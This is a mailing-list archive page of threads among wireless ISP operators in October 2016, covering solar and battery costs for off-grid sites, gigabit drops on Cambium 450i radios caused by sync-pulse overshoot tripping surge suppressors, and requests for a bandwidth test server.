Rory Conaway • Triad Wireless • CEO

4226 S. 37th Street • Phoenix • AZ 85040

602-426-0542

r...@triadwireless.net

www.triadwireless.net



“The other teams could make trouble for us if they win.” — Yogi Berra

Re: [AFMUG] Solar costs dropping

2016-10-03 Thread David Kunat

And what do you do at night?

> On Oct 3, 2016, at 12:52 PM, Chuck McCown  wrote:
> 
> Don’t store it. 
>  
> From: Eric Kuhnke
> Sent: Monday, October 03, 2016 1:06 PM
> To: af@afmug.com
> Subject: Re: [AFMUG] Solar costs dropping
>  
> PV can drop to $0.20/watt to buy bulk 300W polycrystalline PV panels, but the 
> problem remains storage.
> 
> Storing many kWh in a reliable system that won't wear out after N cycles is 
> the costly part. No matter what you do. Lead acid, aquion batteries, tesla 
> powerwall type system, whatever.  
> 
>  
>> On Sat, Oct 1, 2016 at 10:35 AM, Rory Conaway  wrote:
>> https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months-theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/
>> 
>>  
>> 
>> And wait until Peroksvite starts selling…. 
>> 
>>  
>> 
>> Thought you might like that Chuck.
>> 
>>  
>> 
>> Rory Conaway • Triad Wireless • CEO
>> 
>> 4226 S. 37th Street • Phoenix • AZ 85040
>> 
>> 602-426-0542
>> 
>> r...@triadwireless.net
>> 
>> www.triadwireless.net
>> 
>>  
>> 
>> “The other teams could make trouble for us if they win.” — Yogi Berra
>> 
> 
>

Re: [AFMUG] 450i Problems maintaining gigabit.

I have tried to avoid publically singling out a manufacturer, but a certain 
manufacturer we all love does have something goofy with the sync over power.  
It has some nasty risetime glitches and overshoots that cause many surge 
suppressors to conduct -thus causing data glitches and the drop from Gig to 100 
Mbps.  It is proportional to cable lengths I believe but I have not proven 
that.  

It is also something relatively new.  Perhaps because Gig interfaces on their 
radios are relatively new.  

So, I just made the surge suppressor eat the overshoot.  Belt, suspenders, now 
flack jacket.  Triple protection.  It really made the whole design that much 
better.  

I have added the spike eater to all products going forward.  There are not many 
in the pipeline yet, and you really don’t need it unless you want to use that 
particular sync over power product...



From: George Skorup 
Sent: Monday, October 03, 2016 2:00 PM
To: af@afmug.com 
Subject: Re: [AFMUG] 450i Problems maintaining gigabit.

It happens on the regular 450 AP too. 1000Base-T does not work at all with 
GigE-APC-HV's in line. It is 100% the sync pulse causing the SS to clamp.

I won't speak for Chuck, but he sent me some stuff to test and it works. This 
was a yet unused 5GHz 450 AP at a site with ~220 feet of Shireen DC-1021. No SS 
on top. GigE PowerInjector+Sync fed with regulated 24v.

I have GigE-APCs on tons of POE and non-POE gigabit links *without a sync 
pulse* and they work perfectly fine. It would not surprise me if other brands 
of suppressors are doing the same thing because of the sync pulse. Maybe it 
takes the right conditions like temperature, power draw, etc. It's just 
immediately obvious with the GigE-APCs because they are moar betterer.


On 10/3/2016 12:45 PM, Forrest Christian (List Account) wrote:

  We have very recently started getting a whole bunch of support queries which 
are from customers maintaining a gigabit link on a 450i.   The link seems to 
come up at gig, then some time later drops back to 100Mb/s. 

  So far, we haven't nailed down a cause.   Some seem to be related to the sync 
pulse, others are completely unaffected by this.  Some seem to be related to 
the addition of a surge suppressor to the link (even a good quality one), some 
not.  I'm even aware of quite a few cases where replacement of our gear with a 
stock cambium injector doesn't fix the problem - so I'm pretty comfortable in 
feeling that something other than our power injection equipment is the root 
cause.   

  The commonality of most of these are longer cable runs.  All of the normal 
things have been tried (swapping cables, reterminating ends, validating cables, 
etc.).   I also suspect that these are newer 450i's.  (I'm not sure if we've 
seen this on a 450 or not).

  So, what I'm hoping for from the list is to determine if this problem is 
widespread, and if there seems to be any relation to how old the 450i is, or a 
firmware version update, or something else so I can help fix this for my 
customers.   Any information would be helpful.

  -- 

Forrest Christian CEO, PacketFlux Technologies, Inc.

Tel: 406-449-3345 | Address: 3577 Countryside Road, Helena, MT 59602
forre...@imach.com | http://www.packetflux.com

Re: [AFMUG] BTEST server to use for a few hours

2016-10-03 Thread CBB - Jay Fuller


already tweaking

or is it twerkinghah


  - Original Message - 
  From: Josh Reynolds 
  To: af@afmug.com 
  Sent: Monday, October 03, 2016 3:47 PM
  Subject: Re: [AFMUG] BTEST server to use for a few hours


  Not on  opposite coasts...




  On Oct 3, 2016 3:44 PM, "CBB - Jay Fuller"  wrote:


I purchase one gig but didn't get that - - we are on opposite coasts.
should i have gotten that?

  - Original Message - 
  From: Sterling Jacobson 
  To: af@afmug.com 
  Sent: Monday, October 03, 2016 12:33 PM
  Subject: Re: [AFMUG] BTEST server to use for a few hours


  I believe mine should do over 500Mbps, give it a try: 50.114.231.72



  From: Af [mailto:af-boun...@afmug.com] On Behalf Of Paul McCall
  Sent: Monday, October 3, 2016 11:27 AM
  To: af@afmug.com
  Subject: [AFMUG] BTEST server to use for a few hours



  Any public BTEST server’s out there?  Need to do a few 500Mb tests for 30 
seconds each over the next 24 hours



  Paul McCall, President

  PDMNet, Inc. / Florida Broadband, Inc.

  658 Old Dixie Highway

  Vero Beach, FL 32962

  772-564-6800  

  pa...@pdmnet.net

  www.pdmnet.com

  www.floridabroadband.com

Re: [AFMUG] Solar costs dropping


If that really is 120 aH and 12 volts, 120*12=1440 wH

$87/1440=.06

6 cents per watt hour.  When did batteries get this low?

-Original Message- 
From: Robert Andrews

Sent: Monday, October 03, 2016 1:20 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

Sorry now $87...

https://www.walmart.com/ip/EverStart-Group-Size-29DC-Marine-Battery/20531543

We have gone to 6V cart batteries for our serious off grid stuff with
better cycling results, but these are what we use for on-grid reserve.

The 6V's we buy are 135 AH and we get fewer cells going bad over 2-3
years...   When you have 100 cells at a site, you are going to have
failures... (1.2V cells)...   Found it was cheaper replacing 3 cell
batteries than 6 cell batteries...


On 10/03/2016 12:09 PM, SmarterBroadband wrote:

120AH for $83?
What model is that?

-Original Message-
From: Af [mailto:af-boun...@afmug.com] On Behalf Of Robert Andrews
Sent: Saturday, October 01, 2016 1:12 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

I read that as a 83 AH battery for 1.1K whereas a 120 AH deep cycle from
Walmart is $83...   For that price diff you can literally throw away
batteries each year...

On 10/01/2016 11:42 AM, Lewis Bergman wrote:

That seems expensive for the AH. They sound like they recover better
from deep discharge. The last time I bought 75AH batteries they were
~$200 each.  so for somewhere less than half the money you get close
to the same AH and they added bonus of destroying the planet.

On Sat, Oct 1, 2016 at 12:57 PM Kurt Fankhauser
> wrote:

 I've been seriously looking at solar for off grid, biggest problem
 was the batteries but then I found these salt water batteries that
 seem to be the solution to all the problems associated with battery
 systems, they have a 24v version for a 2.2Kwh cell that I was going
 to wire up to an APC-XL ups and see what happened


https://www.altestore.com/store/deep-cycle-batteries/saltwater-batteri
es/aquion-energy-saltwater-batteries-p40483/?gclid=CjwKEAjwvb2_BRCb_s7
Yo7_ZlHASJABz6L0jfIx1iUFerslueuwJHCmFBqRfykUmLVgmbE3Ho39nZRoCgpXw_wcB#
AQU24S-83



 On Sat, Oct 1, 2016 at 1:35 PM, Rory Conaway > wrote:


https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months
-theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/

 __ __

 And wait until Peroksvite starts selling…. 

 __ __

 Thought you might like that Chuck.

 __ __

 *Rory Conaway **• Triad Wireless •**CEO*

 *4226 S. 37^th Street • Phoenix • AZ 85040*

 *602-426-0542 *

 *r...@triadwireless.net *

 *www.triadwireless.net *

 *__ __*

 “The other teams could make trouble for us if they win.” — Yogi
 Berra

 __ __

Re: [AFMUG] Solar costs dropping

Don’t store it.  

From: Eric Kuhnke 
Sent: Monday, October 03, 2016 1:06 PM
To: af@afmug.com 
Subject: Re: [AFMUG] Solar costs dropping

PV can drop to $0.20/watt to buy bulk 300W polycrystalline PV panels, but the 
problem remains storage.

Storing many kWh in a reliable system that won't wear out after N cycles is the 
costly part. No matter what you do. Lead acid, aquion batteries, tesla 
powerwall type system, whatever.  

On Sat, Oct 1, 2016 at 10:35 AM, Rory Conaway  wrote:

https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months-theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/

  And wait until Peroksvite starts selling….  

  Thought you might like that Chuck.

  Rory Conaway • Triad Wireless • CEO

  4226 S. 37th Street • Phoenix • AZ 85040

  602-426-0542

  r...@triadwireless.net

  www.triadwireless.net

  “The other teams could make trouble for us if they win.” — Yogi Berra

Re: [AFMUG] BTEST server to use for a few hours

Not on  opposite coasts...

On Oct 3, 2016 3:44 PM, "CBB - Jay Fuller" 
wrote:

>
> I purchase one gig but didn't get that - - we are on opposite coasts.
> should i have gotten that?
>
> - Original Message -
> *From:* Sterling Jacobson 
> *To:* af@afmug.com
> *Sent:* Monday, October 03, 2016 12:33 PM
> *Subject:* Re: [AFMUG] BTEST server to use for a few hours
>
> I believe mine should do over 500Mbps, give it a try: 50.114.231.72
>
>
>
> *From:* Af [mailto:af-boun...@afmug.com] *On Behalf Of *Paul McCall
> *Sent:* Monday, October 3, 2016 11:27 AM
> *To:* af@afmug.com
> *Subject:* [AFMUG] BTEST server to use for a few hours
>
>
>
> Any public BTEST server’s out there?  Need to do a few 500Mb tests for 30
> seconds each over the next 24 hours
>
>
>
> Paul McCall, President
>
> PDMNet, Inc. / Florida Broadband, Inc.
>
> 658 Old Dixie Highway
>
> Vero Beach, FL 32962
>
> 772-564-6800
>
> pa...@pdmnet.net
>
> www.pdmnet.com
>
> www.floridabroadband.com
>
>
>
>
>
>

Re: [AFMUG] BTEST server to use for a few hours

2016-10-03 Thread CBB - Jay Fuller


I purchase one gig but didn't get that - - we are on opposite coasts.
should i have gotten that?

  - Original Message - 
  From: Sterling Jacobson 
  To: af@afmug.com 
  Sent: Monday, October 03, 2016 12:33 PM
  Subject: Re: [AFMUG] BTEST server to use for a few hours


  I believe mine should do over 500Mbps, give it a try: 50.114.231.72

   

  From: Af [mailto:af-boun...@afmug.com] On Behalf Of Paul McCall
  Sent: Monday, October 3, 2016 11:27 AM
  To: af@afmug.com
  Subject: [AFMUG] BTEST server to use for a few hours

   

  Any public BTEST server's out there?  Need to do a few 500Mb tests for 30 
seconds each over the next 24 hours

   

  Paul McCall, President

  PDMNet, Inc. / Florida Broadband, Inc.

  658 Old Dixie Highway

  Vero Beach, FL 32962

  772-564-6800  

  pa...@pdmnet.net

  www.pdmnet.com

  www.floridabroadband.com

Re: [AFMUG] 450i Problems maintaining gigabit.

I remember a thread the other day where someone asked why you would ever use a 
Syncbox instead of sync over power.  Maybe there’s your answer.

From: Af [mailto:af-boun...@afmug.com] On Behalf Of George Skorup
Sent: Monday, October 3, 2016 3:01 PM
To: af@afmug.com
Subject: Re: [AFMUG] 450i Problems maintaining gigabit.

It happens on the regular 450 AP too. 1000Base-T does not work at all with 
GigE-APC-HV's in line. It is 100% the sync pulse causing the SS to clamp.

I won't speak for Chuck, but he sent me some stuff to test and it works. This 
was a yet unused 5GHz 450 AP at a site with ~220 feet of Shireen DC-1021. No SS 
on top. GigE PowerInjector+Sync fed with regulated 24v.

I have GigE-APCs on tons of POE and non-POE gigabit links *without a sync 
pulse* and they work perfectly fine. It would not surprise me if other brands 
of suppressors are doing the same thing because of the sync pulse. Maybe it 
takes the right conditions like temperature, power draw, etc. It's just 
immediately obvious with the GigE-APCs because they are moar betterer.

On 10/3/2016 12:45 PM, Forrest Christian (List Account) wrote:

We have very recently started getting a whole bunch of support queries which 
are from customers maintaining a gigabit link on a 450i.   The link seems to 
come up at gig, then some time later drops back to 100Mb/s. 

So far, we haven't nailed down a cause.   Some seem to be related to the sync 
pulse, others are completely unaffected by this.  Some seem to be related to 
the addition of a surge suppressor to the link (even a good quality one), some 
not.  I'm even aware of quite a few cases where replacement of our gear with a 
stock cambium injector doesn't fix the problem - so I'm pretty comfortable in 
feeling that something other than our power injection equipment is the root 
cause.   

The commonality of most of these are longer cable runs.  All of the normal 
things have been tried (swapping cables, reterminating ends, validating cables, 
etc.).   I also suspect that these are newer 450i's.  (I'm not sure if we've 
seen this on a 450 or not).

So, what I'm hoping for from the list is to determine if this problem is 
widespread, and if there seems to be any relation to how old the 450i is, or a 
firmware version update, or something else so I can help fix this for my 
customers.   Any information would be helpful.

-- 

Forrest Christian CEO, PacketFlux Technologies, Inc.

Tel: 406-449-3345 | Address: 3577 Countryside Road, Helena, MT 59602

  forre...@imach.com |   
http://www.packetflux.com

[AFMUG] Ceragon IP20C RSTP

2016-10-03 Thread Jason McKemie

Is there any special config necessary to get this working? The interface
shows that it is sending but not receiving. The backup link, which is
Ubiquiti, shows both sending and receiving rstp info, and thus is taking
the active role.

Re: [AFMUG] 450i Problems maintaining gigabit.

2016-10-03 Thread George Skorup

It happens on the regular 450 AP too. 1000Base-T does not work at all 
with GigE-APC-HV's in line. It is 100% the sync pulse causing the SS to 
clamp.


I won't speak for Chuck, but he sent me some stuff to test and it works. 
This was a yet unused 5GHz 450 AP at a site with ~220 feet of Shireen 
DC-1021. No SS on top. GigE PowerInjector+Sync fed with regulated 24v.


I have GigE-APCs on tons of POE and non-POE gigabit links *without a 
sync pulse* and they work perfectly fine. It would not surprise me if 
other brands of suppressors are doing the same thing because of the sync 
pulse. Maybe it takes the right conditions like temperature, power draw, 
etc. It's just immediately obvious with the GigE-APCs because they are 
moar betterer.


On 10/3/2016 12:45 PM, Forrest Christian (List Account) wrote:
We have very recently started getting a whole bunch of support queries 
which are from customers maintaining a gigabit link on a 450i.   The 
link seems to come up at gig, then some time later drops back to 100Mb/s.


So far, we haven't nailed down a cause.   Some seem to be related to 
the sync pulse, others are completely unaffected by this.  Some seem 
to be related to the addition of a surge suppressor to the link (even 
a good quality one), some not. I'm even aware of quite a few cases 
where replacement of our gear with a stock cambium injector doesn't 
fix the problem - so I'm pretty comfortable in feeling that something 
other than our power injection equipment is the root cause.


The commonality of most of these are longer cable runs. All of the 
normal things have been tried (swapping cables, reterminating ends, 
validating cables, etc.).   I also suspect that these are newer 
450i's.  (I'm not sure if we've seen this on a 450 or not).


So, what I'm hoping for from the list is to determine if this problem 
is widespread, and if there seems to be any relation to how old the 
450i is, or a firmware version update, or something else so I can help 
fix this for my customers. Any information would be helpful.


--
*Forrest Christian* /CEO//, PacketFlux Technologies, Inc./
Tel: 406-449-3345 | Address: 3577 Countryside Road, Helena, MT 59602
forre...@imach.com  | 
http://www.packetflux.com

Re: [AFMUG] Solar costs dropping

2016-10-03 Thread Robert

These are deep cycle batteries and we used them to 50% discharge for 
winters here for 4-5years before replacing...   we changed to 6v for the 
cell failure rates which are a little better for the Interstates than 
the walmarts ( cannot remember who makes them right now ).   But deep 
cycle batteries are a religious choice...   You pray to what ever god 
you choose.   I have about 50 off grid customers and have seen them go 
from cheapest ( and some went for used telcom batteries (v. bad choice 
)) to the batteries used in Nuke subs.. ( OMG they were expensive, like 
100K for the rack ) and they all failed at some rate.  And a failed cell 
pretty much determines the performance of the rack.  I do want a battery 
that can take a bulk charge because the sun comes and goes, and when 
it's shining I want to make hay...  We are now equipping all our off 
grid locations with dual chargers to put more amps into the batteries 
during the Dec 1st - Feb 1st period, which is what we design for.

On 10/3/16 12:27 PM, Eric Kuhnke wrote:

I'm extremely suspicious of anything that advertises cranking amps, no
matter what kind of lead acid battery it is or how cheap the price
is...  It's not designed for cyclic use, so unless you only cycle to 70%
or less DOD (depth of discharge) you will kill that type of battery in
less than one year.

Any lead acid wet cell or AGM designed for off grid or cyclic use will
have a manufacturer's datasheet rating its Ah storage capacity at 1
hour/2 hour/8 hour/20 hour discharge rates.

Re: the Aquion batteries mentioned above, they're much more expensive
and are HUGE, but they supposedly will have 80% of their storage
capacity and life remaining /after/ 4000 cycles to 50% depth of
discharge.  It's the cycle life that separates them from even the best
very expensive SLA AGM batteries.

On Mon, Oct 3, 2016 at 12:20 PM, Robert Andrews > wrote:

Sorry now $87...

https://www.walmart.com/ip/EverStart-Group-Size-29DC-Marine-Battery/20531543

We have gone to 6V cart batteries for our serious off grid stuff
with better cycling results, but these are what we use for on-grid
reserve.

The 6V's we buy are 135 AH and we get fewer cells going bad over 2-3
years...   When you have 100 cells at a site, you are going to have
failures... (1.2V cells)...   Found it was cheaper replacing 3 cell
batteries than 6 cell batteries...

On 10/03/2016 12:09 PM, SmarterBroadband wrote:

120AH for $83?
What model is that?

-Original Message-
From: Af [mailto:af-boun...@afmug.com
] On Behalf Of Robert Andrews
Sent: Saturday, October 01, 2016 1:12 PM
To: af@afmug.com 
Subject: Re: [AFMUG] Solar costs dropping

I read that as a 83 AH battery for 1.1K whereas a 120 AH deep
cycle from
Walmart is $83...   For that price diff you can literally throw away
batteries each year...

On 10/01/2016 11:42 AM, Lewis Bergman wrote:

That seems expensive for the AH. They sound like they
recover better
from deep discharge. The last time I bought 75AH batteries
they were
~$200 each.  so for somewhere less than half the money you
get close
to the same AH and they added bonus of destroying the planet.

On Sat, Oct 1, 2016 at 12:57 PM Kurt Fankhauser

>> wrote:

 I've been seriously looking at solar for off grid,
biggest problem
 was the batteries but then I found these salt water
batteries that
 seem to be the solution to all the problems associated
with battery
 systems, they have a 24v version for a 2.2Kwh cell that
I was going
 to wire up to an APC-XL ups and see what happened

https://www.altestore.com/store/deep-cycle-batteries/saltwater-batteri

es/aquion-energy-saltwater-batteries-p40483/?gclid=CjwKEAjwvb2_BRCb_s7

Yo7_ZlHASJABz6L0jfIx1iUFerslueuwJHCmFBqRfykUmLVgmbE3Ho39nZRoCgpXw_wcB#
AQU24S-83

 On Sat, Oct 1, 2016 at 1:35 PM, Rory Conaway

 >> wrote:

https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months

Re: [AFMUG] Solar costs dropping

2016-10-03 Thread Robert

No that is reserve which is not AH   on the top of the battery it says 
122AH...


On 10/3/16 12:24 PM, SmarterBroadband wrote:

Is that not 65Ah?

-Original Message-
From: Af [mailto:af-boun...@afmug.com] On Behalf Of Robert Andrews
Sent: Monday, October 03, 2016 12:20 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

Sorry now $87...

https://www.walmart.com/ip/EverStart-Group-Size-29DC-Marine-Battery/20531543

We have gone to 6V cart batteries for our serious off grid stuff with better 
cycling results, but these are what we use for on-grid reserve.

The 6V's we buy are 135 AH and we get fewer cells going bad over 2-3
years...   When you have 100 cells at a site, you are going to have
failures... (1.2V cells)...   Found it was cheaper replacing 3 cell
batteries than 6 cell batteries...


On 10/03/2016 12:09 PM, SmarterBroadband wrote:

120AH for $83?
What model is that?

-Original Message-
From: Af [mailto:af-boun...@afmug.com] On Behalf Of Robert Andrews
Sent: Saturday, October 01, 2016 1:12 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

I read that as a 83 AH battery for 1.1K whereas a 120 AH deep cycle from
Walmart is $83...   For that price diff you can literally throw away
batteries each year...

On 10/01/2016 11:42 AM, Lewis Bergman wrote:

That seems expensive for the AH. They sound like they recover better
from deep discharge. The last time I bought 75AH batteries they were
~$200 each.  so for somewhere less than half the money you get close
to the same AH and they added bonus of destroying the planet.

On Sat, Oct 1, 2016 at 12:57 PM Kurt Fankhauser
> wrote:

 I've been seriously looking at solar for off grid, biggest problem
 was the batteries but then I found these salt water batteries that
 seem to be the solution to all the problems associated with battery
 systems, they have a 24v version for a 2.2Kwh cell that I was going
 to wire up to an APC-XL ups and see what happened


https://www.altestore.com/store/deep-cycle-batteries/saltwater-batter
i
es/aquion-energy-saltwater-batteries-p40483/?gclid=CjwKEAjwvb2_BRCb_s
7
Yo7_ZlHASJABz6L0jfIx1iUFerslueuwJHCmFBqRfykUmLVgmbE3Ho39nZRoCgpXw_wcB
#
AQU24S-83



 On Sat, Oct 1, 2016 at 1:35 PM, Rory Conaway > wrote:


https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-month
s
-theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/

 __ __

 And wait until Peroksvite starts selling…. 

 __ __

 Thought you might like that Chuck.

 __ __

 *Rory Conaway **• Triad Wireless •**CEO*

 *4226 S. 37^th Street • Phoenix • AZ 85040*

 *602-426-0542 *

 *r...@triadwireless.net *

 *www.triadwireless.net *

 *__ __*

 “The other teams could make trouble for us if they win.” — Yogi
 Berra

 __ __

Re: [AFMUG] Solar costs dropping

I'm extremely suspicious of anything that advertises cranking amps, no
matter what kind of lead acid battery it is or how cheap the price is...
It's not designed for cyclic use, so unless you only cycle to 70% or less
DOD (depth of discharge) you will kill that type of battery in less than
one year.

Any lead acid wet cell or AGM designed for off grid or cyclic use will have
a manufacturer's datasheet rating its Ah storage capacity at 1 hour/2
hour/8 hour/20 hour discharge rates.

Re: the Aquion batteries mentioned above, they're much more expensive and
are HUGE, but they supposedly will have 80% of their storage capacity and
life remaining *after* 4000 cycles to 50% depth of discharge.  It's the
cycle life that separates them from even the best very expensive SLA AGM
batteries.

On Mon, Oct 3, 2016 at 12:20 PM, Robert Andrews 
wrote:

> Sorry now $87...
>
> https://www.walmart.com/ip/EverStart-Group-Size-29DC-Marine-
> Battery/20531543
>
> We have gone to 6V cart batteries for our serious off grid stuff with
> better cycling results, but these are what we use for on-grid reserve.
>
> The 6V's we buy are 135 AH and we get fewer cells going bad over 2-3
> years...   When you have 100 cells at a site, you are going to have
> failures... (1.2V cells)...   Found it was cheaper replacing 3 cell
> batteries than 6 cell batteries...
>
>
>
> On 10/03/2016 12:09 PM, SmarterBroadband wrote:
>
>> 120AH for $83?
>> What model is that?
>>
>> -Original Message-
>> From: Af [mailto:af-boun...@afmug.com] On Behalf Of Robert Andrews
>> Sent: Saturday, October 01, 2016 1:12 PM
>> To: af@afmug.com
>> Subject: Re: [AFMUG] Solar costs dropping
>>
>> I read that as a 83 AH battery for 1.1K whereas a 120 AH deep cycle from
>> Walmart is $83...   For that price diff you can literally throw away
>> batteries each year...
>>
>> On 10/01/2016 11:42 AM, Lewis Bergman wrote:
>>
>>> That seems expensive for the AH. They sound like they recover better
>>> from deep discharge. The last time I bought 75AH batteries they were
>>> ~$200 each.  so for somewhere less than half the money you get close
>>> to the same AH and they added bonus of destroying the planet.
>>>
>>> On Sat, Oct 1, 2016 at 12:57 PM Kurt Fankhauser
>>> > wrote:
>>>
>>>  I've been seriously looking at solar for off grid, biggest problem
>>>  was the batteries but then I found these salt water batteries that
>>>  seem to be the solution to all the problems associated with battery
>>>  systems, they have a 24v version for a 2.2Kwh cell that I was going
>>>  to wire up to an APC-XL ups and see what happened
>>>
>>>
>>> https://www.altestore.com/store/deep-cycle-batteries/saltwater-batteri
>>> es/aquion-energy-saltwater-batteries-p40483/?gclid=CjwKEAjwvb2_BRCb_s7
>>> Yo7_ZlHASJABz6L0jfIx1iUFerslueuwJHCmFBqRfykUmLVgmbE3Ho39nZRoCgpXw_wcB#
>>> AQU24S-83
>>>
>>>
>>>
>>>  On Sat, Oct 1, 2016 at 1:35 PM, Rory Conaway <
>>> r...@triadwireless.net
>>>  > wrote:
>>>
>>>
>>> https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months
>>> -theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/
>>>
>>>  __ __
>>>
>>>  And wait until Peroksvite starts selling…. 
>>>
>>>  __ __
>>>
>>>  Thought you might like that Chuck.
>>>
>>>  __ __
>>>
>>>  *Rory Conaway **• Triad Wireless •**CEO*
>>>
>>>  *4226 S. 37^th Street • Phoenix • AZ 85040*
>>>
>>>  *602-426-0542 *
>>>
>>>  *r...@triadwireless.net *
>>>
>>>  *www.triadwireless.net *
>>>
>>>  *__ __*
>>>
>>>  “The other teams could make trouble for us if they win.” — Yogi
>>>  Berra
>>>
>>>  __ __
>>>
>>>
>>>
>>
>>

Re: [AFMUG] Solar costs dropping

Is that not 65Ah?

-Original Message-
From: Af [mailto:af-boun...@afmug.com] On Behalf Of Robert Andrews
Sent: Monday, October 03, 2016 12:20 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

Sorry now $87...

https://www.walmart.com/ip/EverStart-Group-Size-29DC-Marine-Battery/20531543

We have gone to 6V cart batteries for our serious off grid stuff with better 
cycling results, but these are what we use for on-grid reserve.

The 6V's we buy are 135 AH and we get fewer cells going bad over 2-3 
years...   When you have 100 cells at a site, you are going to have 
failures... (1.2V cells)...   Found it was cheaper replacing 3 cell 
batteries than 6 cell batteries...


On 10/03/2016 12:09 PM, SmarterBroadband wrote:
> 120AH for $83?
> What model is that?
>
> -Original Message-
> From: Af [mailto:af-boun...@afmug.com] On Behalf Of Robert Andrews
> Sent: Saturday, October 01, 2016 1:12 PM
> To: af@afmug.com
> Subject: Re: [AFMUG] Solar costs dropping
>
> I read that as a 83 AH battery for 1.1K whereas a 120 AH deep cycle from
> Walmart is $83...   For that price diff you can literally throw away
> batteries each year...
>
> On 10/01/2016 11:42 AM, Lewis Bergman wrote:
>> That seems expensive for the AH. They sound like they recover better 
>> from deep discharge. The last time I bought 75AH batteries they were
>> ~$200 each.  so for somewhere less than half the money you get close 
>> to the same AH and they added bonus of destroying the planet.
>>
>> On Sat, Oct 1, 2016 at 12:57 PM Kurt Fankhauser 
>> > wrote:
>>
>>  I've been seriously looking at solar for off grid, biggest problem
>>  was the batteries but then I found these salt water batteries that
>>  seem to be the solution to all the problems associated with battery
>>  systems, they have a 24v version for a 2.2Kwh cell that I was going
>>  to wire up to an APC-XL ups and see what happened
>>
>>
>> https://www.altestore.com/store/deep-cycle-batteries/saltwater-batter
>> i
>> es/aquion-energy-saltwater-batteries-p40483/?gclid=CjwKEAjwvb2_BRCb_s
>> 7 
>> Yo7_ZlHASJABz6L0jfIx1iUFerslueuwJHCmFBqRfykUmLVgmbE3Ho39nZRoCgpXw_wcB
>> #
>> AQU24S-83
>>
>>
>>
>>  On Sat, Oct 1, 2016 at 1:35 PM, Rory Conaway >  > wrote:
>>
>>
>> https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-month
>> s 
>> -theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/
>>
>>  __ __
>>
>>  And wait until Peroksvite starts selling…. 
>>
>>  __ __
>>
>>  Thought you might like that Chuck.
>>
>>  __ __
>>
>>  *Rory Conaway **• Triad Wireless •**CEO*
>>
>>  *4226 S. 37^th Street • Phoenix • AZ 85040*
>>
>>  *602-426-0542 *
>>
>>  *r...@triadwireless.net *
>>
>>  *www.triadwireless.net *
>>
>>  *__ __*
>>
>>  “The other teams could make trouble for us if they win.” — Yogi
>>  Berra
>>
>>  __ __
>>
>>
>
>

Re: [AFMUG] Solar costs dropping

2016-10-03 Thread Robert Andrews


Sorry now $87...

https://www.walmart.com/ip/EverStart-Group-Size-29DC-Marine-Battery/20531543

We have gone to 6V cart batteries for our serious off grid stuff with 
better cycling results, but these are what we use for on-grid reserve.


The 6V's we buy are 135 AH and we get fewer cells going bad over 2-3 
years...   When you have 100 cells at a site, you are going to have 
failures... (1.2V cells)...   Found it was cheaper replacing 3 cell 
batteries than 6 cell batteries...



On 10/03/2016 12:09 PM, SmarterBroadband wrote:

120AH for $83?
What model is that?

-Original Message-
From: Af [mailto:af-boun...@afmug.com] On Behalf Of Robert Andrews
Sent: Saturday, October 01, 2016 1:12 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

I read that as a 83 AH battery for 1.1K whereas a 120 AH deep cycle from
Walmart is $83...   For that price diff you can literally throw away
batteries each year...

On 10/01/2016 11:42 AM, Lewis Bergman wrote:

That seems expensive for the AH. They sound like they recover better
from deep discharge. The last time I bought 75AH batteries they were
~$200 each.  so for somewhere less than half the money you get close
to the same AH and they added bonus of destroying the planet.

On Sat, Oct 1, 2016 at 12:57 PM Kurt Fankhauser
> wrote:

 I've been seriously looking at solar for off grid, biggest problem
 was the batteries but then I found these salt water batteries that
 seem to be the solution to all the problems associated with battery
 systems, they have a 24v version for a 2.2Kwh cell that I was going
 to wire up to an APC-XL ups and see what happened


https://www.altestore.com/store/deep-cycle-batteries/saltwater-batteri
es/aquion-energy-saltwater-batteries-p40483/?gclid=CjwKEAjwvb2_BRCb_s7
Yo7_ZlHASJABz6L0jfIx1iUFerslueuwJHCmFBqRfykUmLVgmbE3Ho39nZRoCgpXw_wcB#
AQU24S-83



 On Sat, Oct 1, 2016 at 1:35 PM, Rory Conaway > wrote:


https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months
-theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/

 __ __

 And wait until Peroksvite starts selling…. 

 __ __

 Thought you might like that Chuck.

 __ __

 *Rory Conaway **• Triad Wireless •**CEO*

 *4226 S. 37^th Street • Phoenix • AZ 85040*

 *602-426-0542 *

 *r...@triadwireless.net *

 *www.triadwireless.net *

 *__ __*

 “The other teams could make trouble for us if they win.” — Yogi
 Berra

 __ __

Re: [AFMUG] Solar costs dropping

120AH for $83?
What model is that?

-Original Message-
From: Af [mailto:af-boun...@afmug.com] On Behalf Of Robert Andrews
Sent: Saturday, October 01, 2016 1:12 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

I read that as a 83 AH battery for 1.1K whereas a 120 AH deep cycle from 
Walmart is $83...   For that price diff you can literally throw away 
batteries each year...

On 10/01/2016 11:42 AM, Lewis Bergman wrote:
> That seems expensive for the AH. They sound like they recover better 
> from deep discharge. The last time I bought 75AH batteries they were
> ~$200 each.  so for somewhere less than half the money you get close 
> to the same AH and they added bonus of destroying the planet.
>
> On Sat, Oct 1, 2016 at 12:57 PM Kurt Fankhauser 
> > wrote:
>
> I've been seriously looking at solar for off grid, biggest problem
> was the batteries but then I found these salt water batteries that
> seem to be the solution to all the problems associated with battery
> systems, they have a 24v version for a 2.2Kwh cell that I was going
> to wire up to an APC-XL ups and see what happened
>
> 
> https://www.altestore.com/store/deep-cycle-batteries/saltwater-batteri
